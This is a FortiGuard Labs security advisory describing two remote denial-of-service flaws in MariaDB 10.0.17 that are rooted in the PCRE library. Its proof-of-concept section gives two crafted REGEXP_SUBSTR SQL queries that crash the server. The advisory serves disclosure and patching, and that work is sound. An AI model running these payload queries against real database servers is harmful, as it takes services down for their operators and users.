[FG-VD-15-029] MariaDB PCRE Handling Multiple Remote Denial of Service Vulnerabilities

The following information pertains to information discovered by Fortinet's FortiGuard Labs. It has been determined that two vulnerabilities exist in MariaDB.

Proof of Concept/How to Reproduce:
To reproduce the first issue, you can use mysql to access remote MariaDB server (for example, "mysql -uroot -p") and do the following database operation：

   	 SELECT REGEXP_SUBSTR('ABC','(?i)((?2){0,1999}?(())|A)*');

To reproduce the second issue, do the following database operation：

 	   SELECT REGEXP_SUBSTR('ABC','((?+1)()){222,}+');

It causes the MariaDB Server down. And some screenshots are attached.

Note: The repro of these two issues may be unstable, sometimes you need to try it many times.

Analysis:
The root cause of these issues exists in the underlying pcre lib. They had been reported to pcre lib developer and fixed in the latest pcre lib version 8.37.
http://bugs.exim.org/show_bug.cgi?id=1592
http://bugs.exim.org/show_bug.cgi?id=1591
http://vcs.pcre.org/viewvc/code/trunk/ChangeLog?view=markup

Type of Vulnerability & Repercussions:
Remote Denial of Service

Affected Products:
MariaDB 10.0.17
Other versions may be affected too

Testing Platforms:
Windows 7 x64(en)

Upcoming Advisory Reference:
http://www.fortiguard.com/advisory/UpcomingAdvisories.html

Credits:
These vulnerabilities were discovered by Kai Lu of Fortinet's FortiGuard Labs.